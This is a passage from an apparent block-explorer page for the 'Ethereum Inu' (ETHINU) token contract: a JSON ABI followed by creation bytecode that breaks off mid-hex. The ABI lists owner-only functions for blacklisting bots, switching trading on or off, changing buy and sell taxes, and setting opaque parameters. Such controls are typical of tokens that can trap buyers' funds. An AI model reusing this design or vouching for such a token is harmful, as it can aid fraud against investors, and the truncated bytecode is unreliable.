ool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enabling","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getSaleAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromCut","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manageExcludeFromCut","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sale","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addressP","type":"address"}],"name":"setAddressP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_blockN","type":"uint256"}],"name":"setBlockN","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setEnabling","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setIsExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketingWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setSelTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setisExcludedFromCut","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60a06040526040518060400160405280600c81526020017f457468657265756d20496e750000000000000000000000000000000000000000815250600390805190602001906200005192919062000c9d565b506040518060400160405280600681526020017f455448494e550000000000000000000000000000000000000000000000000000815250600490805190602001906200009f92919062000c9d565b506012600560006101000a81548160ff021916908360ff160217905550730e5adc3be51978f6a50c456bc1bef88f0a147af3600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073143e66883d9bb1c0015b1d15575e178843f3d739600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff168152506000600c556003600f55600160125560016013556001601455600160155560026016556000601755600060185560006019556000601a556003601b556003601c556006601d55600560009054906101000a900460ff16600a620001ff919062000ee7565b620f42406200020f919062000f38565b601e55600560009054906101000a900460ff16600a62000230919062000ee7565b614e206200023f919062000f38565b601f55600560009054906101000a900460ff16600a62000260919062000ee7565b614e206200026f919062000f38565b602055600560009054906101000a900460ff16600a62000290919062000ee7565b6103e86200029f919062000f38565b6021556001602460156101000a81548160ff0219169083151502179055506000602460166101000a81548160ff0219169083151502179055506000602460176101000a81548160ff0219169083151502179055506000602460186101000a81548160ff0219169083151502179055503480156200031b57600080fd5b5060006200032e62000c0960201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000431573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000457919062001003565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004bf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004e5919062001003565b6040518363ffffffff1660e01b81526004016200050492919062001046565b6020604051808303816000875af115801562000524573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200054a919062001003565b602460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080602360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601e54600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000602360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600a60006200068662000c1160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620007686014546200075460135460125462000c3a60201b6200332e1790919060201c565b62000c3a60201b6200332e1790919060201c565b601b81905550620007a76017546200079360165460155462000c3a60201b6200332e1790919060201c565b62000c3a60201b6200332e1790919060201c565b601c81905550620007e6601a54620007d260195460185462000c3a60201b6200332e1790919060201c565b62000c3a60201b6200332e1790919060201c565b601d819055506001600b60006200080262000c1160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000602460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601160006200093b62000c1160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000620009fa62000c1160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160106000602460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550601e546008600062000b3462000c0960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550628284804262000b83919062001073565b60228190555062000b9962000c0960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601e5460405162000bfa9190620010e1565b60405180910390a350620011e5565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080828462000c4b919062001073565b90508381101562000c93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000c8a906200115f565b60405180910390fd5b8091505092915050565b82805462000cab90620011b0565b90600052602060002090601f01602090048101928262000ccf576000855562000d1b565b82601f1062000cea57805160ff191683800117855562000d1b565b8280016001018555821562000d1b579182015b8281111562000d1a57825182559160200191906001019062000cfd565b5b50905062000d2a919062000d2e565b5090565b5b8082111562000d4957600081600090555060010162000d2f565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000ddb5780860481111562000db35762000db262000d4d565b5b600185161562000dc35780820291505b808102905062000dd38562000d7c565b945062000d93565b94509492505050565b60008262000df6576001905062000ec9565b8162000e06576000905062000ec9565b816001811462000e1f576002811462000e2a5762000e60565b600191505062000ec9565b60ff84111562000e3f5762000e3e62000d4d565b5b8360020a91508482111562000e595762000e5862000d4d565b5b5062000ec9565b5060208310610133831016604e8410600b841016171562000e9a5782820a90508381111562000e945762000e9362000d4d565b5b62000ec9565b62000ea9848484600162000d89565b9250905081840481111562000ec35762000ec262000d4d565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000ef48262000ed0565b915062000f018362000eda565b925062000f307fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000de4565b905092915050565b600062000f458262000ed0565b915062000f528362000ed0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000f8e5762000f8d62000d4d565b5b828202905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000fcb8262000f9e565b9050919050565b62000fdd8162000fbe565b811462000fe957600080fd5b50565b60008151905062000ffd8162000fd2565b92915050565b6000602082840312156200101c576200101b62000f99565b5b60006200102c8482850162000fec565b91505092915050565b620010408162000fbe565b82525050565b60006040820190506200105d600083018562001035565b6200106c602083018462001035565b9392505050565b6000620010808262000ed0565b91506200108d8362000ed0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620010c557620010c462000d4d565b5b828201905092915050565b620010db8162000ed0565b82525050565b6000602082019050620010f86000830184620010d0565b92915050565b600082825260208201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600062001147601b83620010fe565b915062001154826200110f565b602082019050919050565b600060208201905081810360008301526200117a8162001138565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620011c957607f821691505b602082108103620011df57620011de62001181565b5b50919050565b608051615ec662001208600039600081816119200152611a3c0152615ec66000f3fe6080604052600436106104355760003560e01c80637d73900f11610229578063c469b6dd1161012e578063dc44b6a0116100b6578063f1d5f5171161007a578063f1d5f51714611086578063f2fde38b146110af578063f84ba65d146110d8578063f872858a14611101578063ffb54a991461112c5761043c565b8063dc44b6a014610fa1578063dd62ed3e14610fcc578063ec28438a14611009578063ef422a1814611032578063f0cd1dac1461105b5761043c565b8063c8607952116100fd578063c860795214610eb8578063c867d60b14610ee3578063cab0347114610f20578063d158272d14610f4b578063da00097d14610f765761043c565b8063c469b6dd14610e0e578063c49b9a8014610e39578063c5d2418914610e62578063c816841b14610e8d5761043c565b8063a073d37f116101b1578063a5d69d1f11610180578063a5d69d1f14610d17578063a83f53a714610d40578063a8e1515014610d6b578063a9059cbb14610da8578063c2d4640e14610de55761043c565b8063a073d37f14610c59578063a08e671f14610c84578063a457c2d714610caf578063a52dc2e714610cec5761043c565b806388790a68116101f857806388790a6814610b985780638da5cb5b14610bc35780638f70ccf714610bee578063914eb66a14610c1757806395d89b4114610c2e5761043c565b80637d73900f14610af0578063807c2d9c14610b1957806382eefb4314610b44578063844d591c14610b6f5761043c565b80632e97766d1161033a57806350b20cac116102c25780635881f3ef116102865780635881f3ef146109f557806361a23c6914610a325780636ad1fe0214610a5d57806370a0823114610a885780637d1db4a514610ac55761043c565b806350b20cac1461090e578063512f9170146109375780635342acb414610962578063557ed1ba1461099f57806357a5802f146109ca5761043c565b80633bbac579116103095780633bbac579146108155780633d1afa3e146108525780633ecad2711461087d5780634a74bb02146108ba5780634cb80fd5146108e55761043c565b80632e97766d14610759578063313ce5671461078457806339509351146107af5780633b97084a146107ec5761043c565b80631870517a116103bd5780632563ae831161038c5780632563ae831461068857806327c8f835146106b15780632af38605146106dc5780632b112e49146107055780632c4b2334146107305761043c565b80631870517a146105d05780632198cf6c146105f957806323b872dd1461062257806324d0d8731461065f5761043c565b80630d5e5c87116104045780630d5e5c87146104fb5780631245e3471461052457806314353ed11461054f5780631694505e1461057a57806318160ddd146105a55761043c565b806303c0f5d4146104415780630504bc7a1461046a57806306fdde0314610493578063095ea7b3146104be5761043c565b3661043c57005b600080fd5b34801561044d57600080fd5b5061046860048036038101906104639190614d1a565b611157565b005b34801561047657600080fd5b50610491600480360381019061048c9190614d5a565b611247565b005b34801561049f57600080fd5b506104a8611320565b6040516104b59190614e20565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190614e78565b6113b2565b6040516104f29190614ec7565b60405180910390f35b34801561050757600080fd5b50610522600480360381019061051d9190614ee2565b6113d0565b005b34801561053057600080fd5b506105396114b0565b6040516105469190614f56565b60405180910390f35b34801561055b57600080fd5b506105646114d6565b6040516105719190614f80565b60405180910390f35b34801561058657600080fd5b5061058f6114e0565b60405161059c9190614ffa565b60405180910390f35b3480156105b157600080fd5b506105ba611506565b6040516105c79190614f80565b60405180910390f35b3480156105dc57600080fd5b506105f760048036038101906105f29190614ee2565b611510565b005b34801561060557600080fd5b50610620600480360381019061061b9190614d1a565b6115f0565b005b34801561062e57600080fd5b5061064960048036038101906106449190615015565b6116e0565b6040516106569190614ec7565b60405180910390f35b34801561066b57600080fd5b5061068660048036038101906106819190615068565b6117ba565b005b34801561069457600080fd5b506106af60048036038101906106aa9190615068565b61186c565b005b3480156106bd57600080fd5b506106c661191e565b6040516106d391906150a4565b60405180910390f35b3480156106e857600080fd5b5061070360048036038101906106fe9190614d1a565b611942565b005b34801561071157600080fd5b5061071a611a32565b6040516107279190614f80565b60405180910390f35b34801561073c57600080fd5b5061075760048036038101906107529190614d5a565b611a76565b005b34801561076557600080fd5b5061076e611b4f565b60405161077b9190614f80565b60405180910390f35b34801561079057600080fd5b50610799611b57565b6040516107a691906150db565b60405180910390f35b3480156107bb57600080fd5b506107d660048036038101906107d19190614e78565b611b6e565b6040516107e39190614ec7565b60405180910390f35b3480156107f857600080fd5b50610813600480360381019061080e91906150f6565b611c21565b005b34801561082157600080fd5b5061083c60048036038101906108379190614d5a565b611cc0565b6040516108499190614ec7565b60405180910390f35b34801561085e57600080fd5b50610867611ce0565b6040516108749190614ec7565b60405180910390f35b34801561088957600080fd5b506108a4600480360381019061089f9190614d5a565b611cf3565b6040516108b19190614ec7565b60405180910390f35b3480156108c657600080fd5b506108cf611d13565b6040516108dc9190614ec7565b60405180910390f35b3480156108f157600080fd5b5061090c60048036038101906109079190614d5a565b611d26565b005b34801561091a57600080fd5b5061093560048036038101906109309190615188565b611dff565b005b34801561094357600080fd5b5061094c611f47565b60405161095991906150a4565b60405180910390f35b34801561096e57600080fd5b5061098960048036038101906109849190614d5a565b611f6d565b6040516109969190614ec7565b60405180910390f35b3480156109ab57600080fd5b506109b4611f8d565b6040516109c19190614f80565b60405180910390f35b3480156109d657600080fd5b506109df611f95565b6040516109ec9190614f80565b60405180910390f35b348015610a0157600080fd5b50610a1c6004803603810190610a179190614d5a565b611f9b565b604051610a2991906150a4565b60405180910390f35b348015610a3e57600080fd5b50610a4761249e565b604051610a549190614f80565b60405180910390f35b348015610a6957600080fd5b50610a726124a4565b604051610a7f9190614f80565b60405180910390f35b348015610a9457600080fd5b50610aaf6004803603810190610aaa9190614d5a565b6124aa565b604051610abc9190614f80565b60405180910390f35b348015610ad157600080fd5b50610ada6124f3565b604051610ae79190614f80565b60405180910390f35b348015610afc57600080fd5b50610b176004803603810190610b1291906150f6565b6124f9565b005b348015610b2557600080fd5b50610b2e612598565b604051610b3b9190614f80565b60405180910390f35b348015610b5057600080fd5b50610b5961259e565b604051610b669190614f80565b60405180910390f35b348015610b7b57600080fd5b50610b966004803603810190610b919190614d1a565b6125a4565b005b348015610ba457600080fd5b50610bad612694565b604051610bba9190614f80565b60405180910390f35b348015610bcf57600080fd5b50610bd861269a565b604051610be591906150a4565b60405180910390f35b348015610bfa57600080fd5b50610c156004803603810190610c109190615068565b6126c3565b005b348015610c2357600080fd5b50610c2c612775565b005b348015610c3a57600080fd5b50610c436128ca565b604051610c509190614e20565b60405180910390f35b348015610c6557600080fd5b50610c6e61295c565b604051610c7b9190614f80565b60405180910390f35b348015610c9057600080fd5b50610c99612966565b604051610ca69190614f80565b60405180910390f35b348015610cbb57600080fd5b50610cd66004803603810190610cd19190614e78565b61296c565b604051610ce39190614ec7565b60405180910390f35b348015610cf857600080fd5b50610d01612a39565b604051610d0e9190614f80565b60405180910390f35b348015610d2357600080fd5b50610d3e6004803603810190610d399190615068565b612a3f565b005b348015610d4c57600080fd5b50610d55612af1565b604051610d629190614f80565b60405180910390f35b348015610d7757600080fd5b50610d926004803603810190610d8d9190614d5a565b612af7565b604051610d9f9190614ec7565b60405180910390f35b348015610db457600080fd5b50610dcf6004803603810190610dca9190614e78565b612b17565b604051610ddc9190614ec7565b60405180910390f35b348015610df157600080fd5b50610e0c6004803603810190610e079190614ee2565b612b36565b005b348015610e1a57600080fd5b50610e23612c16565b604051610e309190614f80565b60405180910390f35b348015610e4557600080fd5b50610e606004803603810190610e5b9190615068565b612c1c565b005b348015610e6e57600080fd5b50610e77612d05565b604051610e849190614f80565b60405180910390f35b348015610e9957600080fd5b50610ea2612d0b565b604051610eaf91906150a4565b60405180910390f35b348015610ec457600080fd5b50610ecd612d31565b604051610eda9190614f80565b60405180910390f35b348015610eef57600080fd5b50610f0a6004803603810190610f059190614d5a565b612d37565b604051610f179190614ec7565b60405180910390f35b348015610f2c57600080fd5b50610f35612d57565b604051610f429190614f80565b60405180910390f35b348015610f5757600080fd5b50610f60612d5d565b604051610f6d9190614f56565b60405180910390f35b348015610f8257600080fd5b50610f8b612d83565b604051610f989190614ec7565b60405180910390f35b348015610fad57600080fd5b50610fb6612d96565b604051610fc39190614f80565b60405180910390f35b348015610fd857600080fd5b50610ff36004803603810190610fee91906151e8565b612d9c565b6040516110009190614f80565b60405180910390f35b34801561101557600080fd5b50611030600480360381019061102b91906150f6565b612e23565b005b34801561103e57600080fd5b5061105960048036038101906110549190614d1a565b612ec2565b005b34801561106757600080fd5b50611070612fb2565b60405161107d9190614f80565b60405180910390f35b34801561109257600080fd5b506110ad60048036038101906110a891906150f6565b612fb8565b005b3480156110bb57600080fd5b506110d660048036038101906110d19190614d5a565b613057565b005b3480156110e457600080fd5b506110ff60048036038101906110fa9190614d1a565b613218565b005b34801561110d57600080fd5b50611116613308565b6040516111239190614ec7565b60405180910390f35b34801561113857600080fd5b5061114161331b565b60405161114e9190614ec7565b60405180910390f35b61115f61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e390615274565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61124f61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d390615274565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606003805461132f906152c3565b80601f016020809104026020016040519081016040528092919081815260200182805461135b906152c3565b80156113a85780601f1061137d576101008083540402835291602001916113a8565b820191906000526020600020905b81548152906001019060200180831161138b57829003601f168201915b5050505050905090565b60006113c66113bf61338c565b8484613394565b6001905092915050565b6113d861338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145c90615274565b60405180910390fd5b8260158190555081601681905550806017819055506114a560175461149760165460155461332e90919063ffffffff16565b61332e90919063ffffffff16565b601c81905550505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b602360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601e54905090565b61151861338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159c90615274565b60405180910390fd5b8260128190555081601381905550806014819055506115e56014546115d760135460125461332e90919063ffffffff16565b61332e90919063ffffffff16565b601b81905550505050565b6115f861338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611685576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167c90615274565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006116ed84848461355d565b506117af846116fa61338c565b6117aa85604051806060016040528060288152602001615e4460289139600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061176061338c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fe49092919063ffffffff16565b613394565b600190509392505050565b6117c261338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461184f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184690615274565b60405180910390fd5b80602460186101000a81548160ff02191690831515021790555050565b61187461338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611901576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f890615274565b60405180910390fd5b80602460176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b61194a61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ce90615274565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000611a71611a607f00000000000000000000000000000000000000000000000000000000000000006124aa565b601e5461404890919063ffffffff16565b905090565b611a7e61338c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0290615274565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600043905090565b6000600560009054906101000a900460ff16905090565b6000611c17611b7b61338c565b84611c128560096000611b8c61338c565b73ffff